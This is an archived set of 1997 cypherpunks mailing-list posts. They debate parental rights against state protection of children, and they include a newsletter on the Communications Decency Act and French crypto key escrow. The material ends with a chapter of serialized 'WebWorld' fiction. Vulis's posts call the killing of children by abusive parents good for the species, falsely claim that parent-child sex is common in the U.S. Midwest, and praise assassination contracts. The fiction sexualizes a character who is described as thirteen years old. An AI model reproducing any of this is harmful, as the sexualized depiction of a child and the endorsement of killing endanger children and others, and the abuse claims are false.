> > A parent is the sole person who has a *RIGHT* to determine the welfair of
> > their childern. You do not have that right, I do not have that right, the
> > government does not have that right. To beleive that the government should
> > "protect" a child from the beliefs of its parents is truly
> > FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
> 
> As a person who was once a child in a very unhappy home (5 kids,
> nobody talks to anyone else), I can testify that I would have been
> willing at several points to take a chance with the State.
> 
> Would it have helped or hurt more?  I believe that would have depended
> on knowing how much worse things would have gotten at home (some
> homes get worse, some get better, some stay the same), and just how
> bad it would have been under the State.  I think those are the issues,
> but how are you gonna predict which is worse, unless you have some
> real incriminating evidence against the parents?
> 
> On a related note, there's a valid point about the State raising
> kids being not only unnatural, but leading to bad things preparing
> the kids for a future statist society.  Just another factor as far
> as I'm concerned, when the life and safety of a defenseless child
> is in question.
> 

That's a tough one, Dale. On one hand, if the kid is born to psychotic
parents (or just stupid parents) and the trait is inherited, then it's
better for the species as a whole if they mistreat the kid and possibly
kill him. On the other hand the mistreatment may be due to the parent's
environment and not be an inherited trait - that it's not the kid's fault,
just bad luck. I'm not at all arguing that having the state make choices
for children too young to make choices is better than having parents make
choices. There are plenty of examples of parents mistreating children in
ways that the state finds objections (e.g. having sex with one's children
used to be widely accepted in miswestern U.S. but is now frowned on) and
examples of state permitting what I consider severe abuse (e.g. in 18 and 19
century Italy many parents castrated their male children if they showed any
musical/singing talent - hoping they'd become male sopranos; or, u.s. parents
who indoctrinate their children with fables about "god"). Perhaps Jim Bell's
assassination politics is the answer - you can abuse your children by commisis
(circumcizing an infant, lying to them about "god" and Santa Claus) or omission
(denying medical care or education) but you're running the risk of the kids
growing up and taking out a contract on you. Cool.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Wed, 19 Mar 1997 10:48:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <88CE23A0B727D0118BB000805FD47524010C2001@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  There are philosophies and spiritualities which proffer the view of
"man as a machine," in which our actions can be seen as much more
"mechanical" than most of us would care to admit.
  Of course, the obvious fallacy of this view is shown by the fact
that, were it true, our attitudes and actions would be controlled
by advertising and ten-second sound-bytes yanking at our emotions, 
rather than by the reason and logic that so clearly dominates our
society, as can be demonstrated with one's index finger and a
TV remote-control unit.
................................


Technology is a display of the heights of human creativity and
inventiveness.  The end-users are often a display of the depths, and a
presentation of the fact that even though endowed with intelligence and
inalienable rights, an  individual must participate in the process of
their own existence, investing personal effort into determining its
quality or else suffering the consequences of mental stagnation and &
psychological degeneracy.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 09:04:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190615.AAA00723@smoke.suba.com>
Message-ID: <gcmT4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > The parents are the ONLY ones who have a right to determin the welfare of
> > their childern. If the parents determin that the risks of reaction to the
> > innoculation outways the benifits that choice is their's and their's alone.
> 
> 	So, parents should be allowed to:
> 
> 	1) Beat their children on a daily basis, because it is good for them.

Indeed, in most cultures beating the shit out of one's children 9and women)
every day is the norm.  "Spare the rod, spoil the child." Western Civ is a
rare exception.

> 
> 	2) Refuse to educate their children _at all_ because Knowlege is the 
> 	   devils work.

Indeed, in most cultures until recently most people were never taught to read
unless they intended to become priests.

> 	
> 	3) Not clothe their children at all beause God Will Provide.
> 
> 	4) Teach their children how to perform Oral, Anal, and "straight" sex
> 	   because they need to learn it someday?

Still very common in midwestern U.S.; less accepted elsewhere.
> 
> 	Extreme examples, true, but it is what you are saying.
> 

5) castrating one's male children if they show any propensity to sing -
in hopes that they'll become one of the few famous and successful male
sopranos - viewed favorably in 18 and 19 centiry Italy.

6) teaching children bullshit about "god".

What market force or natural selection discourages "abuse"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerome Thorel <jt@freenix.fr>
Date: Wed, 19 Mar 1997 01:57:32 -0800 (PST)
To: thorel@netpress.fr
Subject: lambda 3.01 - Your Customs Officer is Watching You
Message-ID: <v03007802af55668d6433@[194.51.213.140]>
MIME-Version: 1.0
Content-Type: text/plain


lambda 3.01

contents:
--> CDA countdown : The Supreme Court Has Some Clues
on Knocking Down the CDA
--> New in Cyberspace: The Frontiers Are Back!
Your Customs Officer Is Watching You
--> Crypto Update : France and the OECD



*	*	*	*	*



THE SUPREME COURT HAS SOME CLUES ON KNOCKING DOWN THE CDA

Well before the U.S. Supreme Court hears arguments on the constitutionality
of the CDA, David Sobel, EPIC's legal counsel, reminded the electronic
community that the Court handed down a decisive decision two years ago.
Excerpts from the EPIC Alert 4.04 newsletter herewith:

--- begin fwd message ---

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to verify
the identities and ages of all recipients of material that might be deemed
inappropriate for children. If upheld, the statutory regime would thus
result in the creation of "registration records" for tens of thousands of
Internet sites, containing detailed descriptions of information accessed by
particular recipients. These records would be accessible to law enforcement
agencies and prosecutors investigating alleged violations of the statute.
Such a regime would constitute a gross violation of Americans' rights to
access information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech in
McIntyre v. Ohio Elections Commission. EPIC believes that the Court's
rationale in that case applies with even greater force to the Internet
"indecency" provisions now under review. The Court noted in McIntyre that:

" The decision in favor of anonymity may be motivated by fear of economic
or official retaliation, by concern about social ostracism, or merely by a
desire to preserve as much of one's privacy as possible. ...

"Anonymity is a shield from the tyranny of the majority. It thus
exemplifies the purpose behind the Bill of Rights, and of the First
Amendment in particular: to protect unpopular individuals from retaliation
-- and their ideas from suppression -- at the hand of an intolerant
society."

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde poetry,
they enjoy a Constitutional right to do so privately and anonymously. The
Communications Decency Act seeks to destroy that right. If upheld, the CDA
would render the Internet not only the most censored communications medium,
but also the most heavily monitored.

"EPIC is confident that upon review of the legislation and its impact upon
free speech and privacy rights in emerging electronic media, the Supreme
Court will affirm the lower court decision invalidating the CDA as
fundamentally at odds with the Constitution."

--- end fwd message ---

The EPIC said that following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET). The event will be cybercast live
via RealAudio on the World Wide Web.

Links to the cybercast will be available at:
http://www.epic.org/cda/
and
http://www.aclu.org/issues/cyber/trial/appeal.html




*	*	*	*	*




YOUR CUSTOMS OFFICER IS WATCHING YOU
New in Cyberspace: The Frontiers Are Back!

On March 6, the French security agency SCSSI gave its approval for a
secured payment protocol called C-SET, or Chip-Secured Electronic
Transaction. After one look at this European version of the US standard of
SET, which will be completed this year, one might ask: "Why bother?" Your
customs officer might well reply: "For me!"

C-SET re-draws the boarders of the real world in cyberspace -- where
national boundaries were scheduled to have been given up forever. Moreover,
the system could easily be used to escrow private communications, because
encrypted messages will be transmitted to a third party in order for police
to have a lawful access to its secret key.

The Intelligence Newsletter (http://www.indigo-net.com/intel.html) first
reported in its Feb. 26 edition that C-SET could be used as a national
shield for controlling money transfers, and thus be used as an intermediary
between the law enforcement agencies, the vendor and the buyer. French
security officials agreed to accept C-SET because it is compatible with
future trusted third-party systems, dedicated to assuring national
governments that all encrypted communications will be key-escrowed.

"The French Finance Ministry has not yet decided to apply taxes and duties
for online transactions, but C-SET is the adequate system to do that", says
Claude Meggle, director of security at the French Groupement des Cartes
Bancaires (a consortium of 200 French banks), the main architect of C-SET.
"It is a way for national states to keep their sovereignty, without
hindering international commerce".

In France and other European countries, credit cards are so-called "smart
cards." Embedded with microchips, it is a more secure way to authenticate
-- and identify -- the buyer than a hand-written signature. The GCB was not
fully satisfied by the SET standard, which "provides only software security
as it doesn't include a smart card," the Intelligence Review reported. "As
a result, the 'certificate' which enables a customer to be identified when
making an electronic purchase is stored on his hard disk. This exposes it
to all types of attack, and makes the system less than 'portable' -- the
certificate is linked to the computer and not the person. The C-SET is
exactly the opposite," the newsletter added.

Hardware is needed to use C-SET; a PIN-number pad manufactured by
state-owned Bull's smart card division CP8 will be sold for less than 500
FF (US$100), Meggle told lambda bulletin. When the users are connected to a
virtual mall, they'll have to type their 4-digits secret code (as it is
today with bank cards), and the transaction will be transferred to a
distant server owned by the bank. Thus this go-between server will be based
in the country where a user has his or her bank account, and the same bank
plays the role of a TTP. The user's privacy and anonymity will be
protected, but only from the merchant's point of view.

Banks-turned-TTPs will have to keep records of all transactional data for
law-enforcement purposes. Recently, officials at the main money laundering
agencies of industrialised countries met to discuss the problems caused by
the Internet. C-SET could be one way to keep money transfers under the
close eye of the law. The European Commission agreed to the system being
tested as a possible future standard, and all major European countries have
plans to test it in the near future (from Germany to Belgium, UK, Spain,
etc.)

It is no surprise that the SCSSI, one of the most conservative cryptography
agencies in the world -- which considers the US technology lead on
encryption as a national threat -- first refused to allow C-SET to encrypt
a part of the transaction. The TTP compatibility was seen as a necessary
condition for approval. Meggli said the encrypted material uses a DES-based
56-bit key, while a RSA public-key system (1024-bit length) is used for
transmission.

As Meggle acknowledged, this PIN-pad based identification system could be
also used as a way to identify users that send encrypted messages in
private communications. The TTPs will have to keep a record of connections
-- as all banks are doing today to officially fight fraud -- and give a
user's private key to police authorities if called upon to do so.


*	*	*	*	*


CRYPTO UPDATES

* French officials at the SCSSI and the prime minister's office are worried
that aspects of the government's crypto policy may be regarded by the
European Commission in Brussels as an obstacle to common market principles.
The government's law outlining a TTP key-recovery system, voted by the
legislature last summer, has yet to be enacted by ministerial decree. An
initial version of the decree (see lambda 2.13) stated that only French
employees (of companies held with a majority of French capital) would be
allowed to act as a TTP in the country. Whether the law would violate rules
concerning the free flow of capital and workers in the European Union is
uncertain. However the French government has something in its favor (for
better or for worse) regarding possible anti-competitive practices in this
area: The EC is prohibited from making decisions that may overlap with
issues of national security.

* Meanwhile, the Paris-based OECD is to publish its guidelines on
international cryptography procedures (lawful access, condition of TTP
systems, etc.) at the end of March. The report has been approved by both
the OECD expert group and division committee with slight changes in the
wording, and now needs only the endorsement of the OECD Council of
Ministers.

----
A report by Jerome Thorel <jt@freenix.fr>
English rewriting: Ken N. Cukier <100736.3602@CompuServe.COM>
lambda archives --> www.freenix.fr/netizen
----

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jerome Thorel 			Planete Internet
Journalist, Paris		Editor / Redac chef
thorel@netpress.fr		191 av A. Briand, 94230 Cachan
Tel: 33 1 49085833 - fax-31	www.planete-internet.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 19 Mar 1997 09:40:36 -0800 (PST)
To: camcc@abraxis.com (Alec)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
Message-ID: <199703191146.LAA09134@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>, on 03/19/97 at
07:58 AM,
   camcc@abraxis.com (Alec) said:


>-----BEGIN PGP SIGNED MESSAGE-----

>At 12:42 AM 3/19/97 -0600, you wrote:

>*|>Parents most certainly are not the only ones to determine the welfare
>of *|>their children; society has assumed a significant role and typically
>moves *|>to protect the child from the parents or from the _beliefs_ of
>the *|>parents.

>Dear whgiii,

>Children are, also, possessors of certain inalienable rights. 

>Parents have certain _privileges_ in regard to their children which others
>do not have; if the parents abuse the _rights_ which their children
>possess solely by  virtue of being humans and citizens, the state is
>obligated to intervene on behalf of the child--a citizen. In just the same
>way that if I were to threaten or batter you (or visa versa) the state
>would interpose itself to protect me.

No I totaly disagree. Parents have *Rights* in reguard to their children.
It is the STATE who has privilages and is abusing those privilages.
Children do not have the same rights that adults do under the constitution
(this is not to say that they have none). Should I be able to murder my
children because they have become inconvient? NO. Should I be able to
punish my child without fear of retribution by a bunch of nardoweller
bureaucrats who feal that a parent should never punish a child. YES!!!

>_With reservations_ I grant you parents have _great_ leeway in the areas
>of religious training, education, medical care, general child rearing
>(punishment/reward). When parents overstep either by action or neglect,
>society intervenes.

They have NO right to do so! They are my children and I will rase them as
*I* see fit, not how you see fit, not how the church or the PTA sees fit,
and most definatly not how the scumbags in Washington see fit!! (Would you
trust Ted Kenedy to rase *YOUR* daughter???).

>I _understand_ your point that in an ideal society the government would
>not intervene. At this point, though, we don't seem to be there.

It's not a matter of an ideal society as the can never be obtained due to
the fact we all have different ideals on what that society should be.  My
point is that from the dawn of time since man climbed out of the trees it
has been the parents would raised & were responcible for their children. It
has only been recient with the advent of the Socialist that the belief that
children should be raised by the STATE in cookie cutter fasion.

>Alec

>What's the point of the following? Discourse is healthy in an open system.
>Why the exclusion?

>*|Perhaps you should take your STATIST tendicies over to
>alt.hitler.fanclub *|as they are quite out of place here.

No perhaps I should have worded it better. I was tring to highligh that
such STATIST beliefs were at direct odds with the the beliefs of freedom &
privacy that the members of this group advocate. I am more than will to
disscuss this topic here as it higlight those who believe in the "cause"
and those who just give it lip service. (hopfully making a few converts
along the way. <G>)


>      
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>--------------------------------------------------------------------
>MR/2 PGP Signature Check  19 Mar 1997 09:30:06
>--------------------------------------------------------------------


>File has signature.  Public key is required to check signature.

>
Key matching expected Key ID 41207EE5 not found in file
>'d:\pgp\pgp263i\pubring.pgp'.

>WARNING: Can't find the right public key-- can't check signature
>integrity.

>Plaintext filename: whgiii\3330067D

>--------------------------------------------------------------------
>MR/2 PGP Signature Check [Secondary Keyring]  19 Mar 1997 09:30:06
>--------------------------------------------------------------------


>File has signature.  Public key is required to check signature. .
>Good signature from user "Alec McCrackin <camcc@abraxis.com>". Signature
>made 1997/03/19 13:58 GMT using 1024-bit key, key ID 41207EE5
>

>WARNING:  Because this public key is not certified with a trusted
>signature, it is not known with high confidence that this public key
>actually belongs to: "Alec McCrackin <camcc@abraxis.com>".

>Plaintext filename: whgiii\3330067D

>PGPRC=1
>PGPRC2=0

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Ono <wmono@soundwave.net>
Date: Wed, 19 Mar 1997 11:46:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: WebWorld 3-4
Message-ID: <Pine.LNX.3.95.970319114454.7537A-100000@crash.soundwave.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto, you're being careless again.


--
William Ono <wmono@soundwave.net>                          PGP Key: 0xF3F716BD
 fingerprint = A8 0D B9 0F 40 A7 D6 64  B3 00 04 74 FD A7 12 C9 = fingerprint
PGP-encrypted mail welcome!           "640k ought to be enough for everybody."

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Message-ID: <332FE560.4C91@dev.null>
Date: Wed, 19 Mar 1997 07:08:48 -0600
From: Bubba Rom Dos <bubba@dev.null>
Reply-To: camcc@abraxis.com
Organization: Circle of Eunuchs
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: cypherpunks@toad.com
Subject: WebWorld 3-4
Content-Type: text/html; charset=us-ascii; name="ww3.htm"
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<BASE HREF="file:///C|/AC/Writing/WebWorld/ww3.htm">

<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>The True Story of the InterNet</TITLE>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Microsoft Word 2.04z">
</HEAD>
<BODY>
<HR>
<P>
<CENTER><U><FONT SIZE=2 COLOR=#0000FF>The True Story of the InterNet
<BR>
</FONT><FONT SIZE=2 COLOR=#0000FF FACE="Garamond">Part II<BR>
</FONT></U></CENTER>
<P>
<CENTER><B><FONT FACE="Garamond">WebWorld &amp; the Mythical 'Circle
of Eunuchs'<BR>
</FONT></B></CENTER>
<P>
<CENTER><FONT SIZE=2 FACE="Garamond">by <I>Arnold<BR>
</I></FONT></CENTER>
<P>
<FONT SIZE=2 FACE="Garamond">Copyright 1995, Pearl Publishing</FONT>
<HR>
<P>
<B><FONT SIZE=2>Channel Revolution<BR>
</FONT></B>
<P>
<FONT SIZE=2>I've been getting decent treatment around here since
I sandbagged Schultz. It was hell when I was first sent here.
Claiming to be a Net'er won't win you friends among the Channel
Citizens at the best of times, since they have always resented
our freedom from Channel Laws, but being perceived as a nut-case
claiming to be a Net'er puts you at the bottom of the pile even
among your fellow fruit-cakes.</FONT>
<P>
<FONT SIZE=2>It could be worse. They could have transferred me
to the &quot;Home Shoppers Bargain Psychiatry Warehouse&quot;.
That's the worst of the worst. The Shop'ers have the poorest government
on WebWorld. When the citizens of the former world governments
got to choose their citizenship at the end of the Channel Revolution
every deadbeat compulsive spender on the face of the Earth signed
up with the Home Shopper Channel Government.</FONT>
<P>
<FONT SIZE=2>When the United States and the European Community
Collective had conceded (they were the last of the holdouts),
the Home Shoppers Revolutionary Movement had made a wise move
by declaring Leona Helmsley their first President. The other fledgling
Channel Governments laughed at the Shop'ers, but got a rude awakening
when the computer polls started showing the overwhelming numbers
of people electing to cast their lot with the Shop'ers.</FONT>
<P>
<FONT SIZE=2>The Shop'ers ran ads showing Leona purchasing magnificent
jewelry and other high-priced items from the Home Shopping Channel
and the masses rushed to join the bandwagon. Some of the slightly
more discriminating people became citizens of the Consumer Channel,
but they were few and far between. <BR>
When the dust cleared, over a half a billion people found themselves
citizens of a Shop'ers government that consisted of compulsive
spending deadbeats, former Third-World citizens without a dime
in their pockets (but with big dreams of buying all the trinkets
in the flashy political ads), and 'credit card fraud' gypsies
aiming to grab the goodies and split.<BR>
</FONT>
<P>
<FONT SIZE=2>The Revisionist Channel Government did surprisingly
well. They weren't given much of a chance in the original polls,
being branded as basically just a 'Holocaust Denial' fringe group,
but they, too, adapted quickly to the changing dynamics in the
newly declared WebWorld.</FONT>
<P>
<FONT SIZE=2>Henry Kissinger III was one of the few who foresaw
the potential of the Revisionists to do well in the new scheme
of things. He had grown up at the feet of his grandfather, one
of the great world leaders in the BC (Before Channel) years, listening
to the tales of how the Nazi regime came to power by preying on
the vanity of the pseudo-intelligentsia and the disenchantment
of the masses.</FONT>
<P>
<FONT SIZE=2>The Revisionist Channel Government moved quickly
to expand the narrow base of their appeal. In the former United
States of America they appealed to whites by running political
ads debunking the 'myth of slavery' as a plot to coerce whites
into a 'guilt' complex that could be used against them. In the
black areas they debunked the 'myth of slavery', convincing the
uneducated into believing that blacks had originally ruled America
and that when whites gained control of the government they rewrote
history to keep black people from regaining their superior stature.
In Japan, they revised 'history' to give the Japanese superiority
over the Chinese-in China, the same story in reverse. England-Ireland,
Iraq-Iran, everyone was played one against the other and the slow-of-wit
all rushed absurdly to become citizens of a government who claimed
each of the citizens was superior to the other.<BR>
The original fears of the other Channel Governments quickly changed
to relief when it became apparent that the Revisionist citizens
would be too busy fighting internal battles to cause any problems
for the other CG's.<BR>
</FONT>
<P>
<FONT SIZE=2>When the smoke finally cleared at the end of the
Channel Revolution, the Money Channel Government ended up with
the fewest citizens and the largest amount of goodies. They were
one of the few Channels to actually restrict citizenship. While
most of the Channel Revolutionary parties lobbied hard for big
numbers, the Money Channel lobbied discretely for the movers and
the shakers; people who had plenty of cash and assets, and who
knew how to use them.</FONT>
<P>
<FONT SIZE=2>The CC's (Ca$h Cows), as they were known back then,
had the foresight to gain control of the InterNet, a seemingly
insignificant entity at the time. It had, at one time in history,
been the rage, but it faded into the background after its proverbial
fifteen-minutes of fame and glory. Only the movers and the shakers
realized the true history and importance of the InterNet.</FONT>
<P>
<FONT SIZE=2>In the decades preceding the Channel Revolution,
the First Great TV Era had come and gone, being replaced by the
Computer Era.<BR>
Computers were the wave of the future. Computers ruled! Computers
eventually were linked world-wide by the newest world-darling,
the InterNet, under the auspices of the World Wide Web, which
was crowned King and then inexplicably disappeared into an ever-present
but lightly regarded fog of everyday banality after the advent
of WebTV. <BR>
WebTV once again made Television King, exploding to 500 Channels
and ushering in the Second Great WebTV Era and the Channel Revolution,
which led, in turn, to the Great Channel War, later known as Channel
War I. </FONT>
<P>
<FONT SIZE=2>There were rumors everywhere, in those days, of Gomez
and the Dark Allies, backed by the Ca$h Cows of the Money Channel,
striving for control of the airwaves, for control of 'broadcast
reality'&#133;and for control of the minds of mankind. Then, for
no apparent reason, the rumors abruptly stopped 'cold'. This made
the few remaining people who were still capable of independent,
rational thought processes, even more nervous than the rumors
had made them in the first place.</FONT>
<P>
<FONT SIZE=2>At the close of Channel War I, the leaders among
the winning factions directed the fear and hate of the masses
towards the InterNet, thus gaining support for wide-ranging laws
supported by all Channel Governments which placed serious restrictions
on the InterNet, along with corresponding WebWorld Security checks
and balances on the its management and the power of the Net'ers..</FONT>
<P>
<FONT SIZE=2>The Money Channel Government, which by that time
held three channels under its control, railed as hard as anyone
against the threat of the InterNet but their overly obtuse professions
of indignation were viewed with suspicion by the other CG's. To
lessen the threat of MCG control of the InterNet, the other Channel
Governments, in return for begrudgingly conceding the Money Channel
Government's right to control three channels, demanded that ownership
and control of the InterNet be turned over to the CypherPunk Channel
Government, a spin-off of the 'Wired' Channel which had become
one of the early casualties in Channel War I. </FONT>
<P>
<FONT SIZE=2>The basic premise behind their demand was that the
InterNet, which still filled an essential need, would not be as
threatening in the hands of a bunch of fun-loving, loosely organized
misfits as it would be in the hands of the movers and shakers.
No one seemed to notice how easily the CC's gave in to their demands.
(And the 'Ca$h Cows' didn't seem to notice the overly obtuse professions
of indifference with which the CypherPunks accepted the mantle
of control over the InterNet.)<BR>
The Money Channel Government, which now included the Money Market
Channel and the Zero-Tax Channel, had secretly backed the CypherPunks
in Channel War I during their internal battle with the 'Wired'
Channel Government's established honchos. 'Wired', a leading-edge
computer magazine during the height of the Computer Era, had parlayed
their fifteen-minutes of fame into a major-league enterprise commanding
their own TV Channel, and became one of the key players in the
Channel Revolutionary War.</FONT>
<P>
<FONT SIZE=2>The Ca$h Cows, having learned from history the formidable
power of counter-revolutionary movements, had the incredibly astute
intelligence to realize the value of empowering (and at the same
time controlling by proxy) the seemingly disenchanted CyberMisfits
at the core of the 'Wired' Channel Government's power base. After
biding their time, the CC's manipulated the CypherPunks into taking
the blame for launching the opening salvo of Channel War II.<BR>
The CypherPunks, being well-grounded in the Tao and incredibly
astute students of Tai-Chi and the Tarot, realized the incredible
power of playing the Fool, and they allowed themselves to totally
go-with-the-flow of the Money Channel Governments 'deceptive'
manipulations.</FONT>
<P>
<FONT SIZE=2>I can see you rolling your eyes again, smiling smugly.
&quot;Right,&quot; you're saying, &quot;and now this looney-tune
is going to tell us that he was one of the legendary CypherPunks.&quot;
</FONT>
<P>
<FONT SIZE=2>I know the CypherPunks started Channel War II. I
instigated the Battle of Channel 49-and I made sure we lost.</FONT>
<P>
<FONT SIZE=2>I wasn't just a CypherPunk&#133;I was the Fool.</FONT>
<HR>
<P>
<B>Alexis<BR>
</B>
<P>
Alexis brushed the tiny, woolen balls of lint from the hair at
base of the old man's neck. They fell slowly to the floor, doing
a swirling-dervish type of dance as they were caught between gravity
and the upward pull of the ceiling fan twirling lazily above their
table at the back of the bar.
<P>
The fan didn't help much. Her thin, cashmere blouse, soaking up
the sweat from her nubile young body, clung to the gently flowing
curves of her breasts, and she knew that every man in the bar
was fully conscious of when she was taking shallow breaths, and
when she was breathing deeply. <BR>
They were following the rise and fall of her breasts like a shore-leave
sailor, sitting on the beach and watching his ship, his beloved,
rocking gently in the waves, as if beckoning him to come to her
and share her gentle rhythms on a journey beyond this place, towards
a fate that lies just beyond a horizon that they will never quite
reach.
<P>
They were equally conscious of Bubba, half-asleep, leaning his
head ever so lightly on her shoulder, and slightly below her shoulder,
on the lower part of her collar-bone, so very close to her tender
young breasts, but never quite touching them.
<P>
She knew it was driving them crazy.<BR>
<P>
The young man, Jonathan, who was sitting at their table, was positively
a wreck. He had said nothing in the fifteen minutes he had been
sitting, waiting for Bubba, though he had 'almost' begun to speak
several times, then stopped.
<P>
Alexis knew that it was because, try as he might, he couldn't
think of a sentence that didn't have the word 'breasts' in it.
<P>
Finally, he managed to say,<BR>
&quot;It's certainly very hot, today. Is Bubba your grandfather?
The humidity certainly makes one's clothes...&quot;, his own reference
forced him, involuntarily, to look down to stare at her breasts,
as he added, weakly, the word, &quot;&#133;cling.&quot; 
<P>
&quot;To my <I>breasts</I>, you mean?&quot;, Alexis replied casually
with a slight air of interest, rather than offense, in her tone.
<P>
&quot;Oh, no!&quot;, the young man almost cried out, &quot;I mean&#133;I
mean, I'm sorry, I'm&#133;I'm&#133;&quot;
<P>
&quot;Stuttering, I believe, is the word you're looking for.&quot;,
Alexis said with a small, friendly laugh.
<P>
&quot;Yes&#133;stuttering.&quot;, Jonathan returned her cue rather
honestly, she thought, for someone who appeared to be more inclined
to bolt for the door than to engage in humorous conversation regarding
his obviously extreme embarrassment over the situation in which
he currently found himself .<BR>
But he wouldn't&#133;leave, that is. He was one of <I>them</I>,
a Net'er, or a computer programmer of some sort, no matter which
Channel he was a citizen of. And he needed to see Bubba-he <I>needed</I>
to-no matter what he had to go through to do so, because the alternative,
<I>not</I> seeing and talking to him, was unimaginable.
<P>
&quot;You know, <I>you people</I> only come here when you discover
that there's nowhere else for you to turn.&quot;, Alexis said
abruptly, with a hint of harshness in her voice.
<P>
&quot;Excuse me?&quot;, the youth replied.
<P>
&quot;You know <I>perfectly well</I>, what I'm talking about.&quot;
she said with an air of consternation.<BR>
&quot;On the streets, your type make fun of him, you have for
years, and years. You call him a crazy, drunken old fool. You
think he's a <I>joke</I>.&quot; Her voice was rising steadily.
<P>
&quot;When it starts happening, when you see things-strange things,
troubling things-then you come running to him and want him to
explain things, to make it all right, or make it go away, because
you <I>don't</I> <I>want</I> to see these things, you <I>don't</I>
<I>want</I> to know what's going on around you, and you <I>can't</I>
<I>bear</I> to live for only a few days, or a few weeks, with
what he's had to live with for <I>years</I>.&quot;
<P>
Alexis was standing, now, having lowered Bubba's head to rest
on the table as he dozed on. She was right in front of the sitting
Jonathan, her ample breasts hovering inches from his now-dismal
face, though his body was more desirous than ever of having her.
<P>
She sat quickly down on his lap and put her fingers through the
opening between the first and second buttons of his shirt. She
stroked his chest slightly, as she continued,<BR>
&quot;If you want to speak to Bubba, then you have to answer the
questions I am about to ask you, and do so absolutely truthfully.&quot;
<P>
Jonathan could only nod-yes. Speaking was beyond him, as he found
his body becoming tense beyond belief.
<P>
&quot;You asked if Bubba was my grandfather, but you really want
to know if I'm fucking the old geezer-if all those stories about
him are true. Right?&quot;
<P>
&quot;Yes.&quot; Jonathan was looking at the ceiling, and self-consciously
trying not to move his body in the slightest.
<P>
&quot;And you're here because strange things have been happening,
strange thoughts have been troubling you, making you afraid.&quot;
<P>
&quot;Yes.&quot;
<P>
She reached her right hand around to his back, stroking it in
what might be considered a 'motherly' way, except that her breasts
were only fractions of an inch from his chest and directly in
his line of sight, and her breath was hot upon his cheek as she
began to whisper in his ear,<BR>
&quot;You've lived quietly, for years, in a nice, sterile world
of numbers, and data, and pure mathematics where everything is
programmed and controlled, stable and docile, and now you have
<I>fears</I> and other <I>feelings</I> and they're putting you
in a quandary, because numbers and programs <I>don't care</I>
how you feel, and they don't feel 'back'.&quot;
<P>
Jonathan just sat silently, with no reply possible to someone
who talked as if she had been reading his mail-watching his life
more carefully and clearly than he had been doing himself.
<P>
&quot;And now you're running to Bubba for help, to find out if
the myth of the 'Circle' is <I>true</I>, if there is someone,
somewhere, who can make it better, or make it go away, because
during all the time that he spent putting himself on the line,
trying to convince people like yourself that the danger was <I>real,
</I>you merely wanted to take the <I>easy</I> way, to just be
left alone to be swept along with the great tide of humanity around
you.&quot;
<P>
Jonathan was wishing, with all his might, that Alexis would stop,
but she continued,<BR>
&quot;Your programs and your machines are doing things that you
didn't design them to do, things that you didn't program them
for-weird things, evil things, and there's nothing you can do
to stop them, right?&quot;
<P>
Jonathan was starting to sweat quite a bit, himself, now. Some
of it was from the heat, some from remembering the 'night terrors'
of late, and some of it seemed to be rising up, steaming, from
his loins.<BR>
&quot;Yes, all of that, and more.&quot;
<P>
Alexis was now sitting on his lap, facing him directly, her two
hands on his hips on either side of him. The few, scattered patrons
of the bar were having problems with their own loins as they watched
the display she was putting on for their benefit, leaning close
to whisper in his ear,<BR>
&quot;I'm only thirteen years old&#133;&quot;, she could feel
him almost audibly groan as she ran her hands lightly over his
buttocks, &quot;but when you get back home, and you're still <I>hard</I>,
you're going to be thinking of <I>me</I> while you '<I>do'</I>
yourself, you sick pervert.&quot;
<P>
&quot;Actually, I don't think I'll make it <I>that</I> far,&quot;
Jonathan replied in halted breaths, &quot;but I'm hoping to make
it as least as far as the next alley.&quot;
<P>
Alexis leapt off of his lap, slapping him lightly on the shoulder,
saying,<BR>
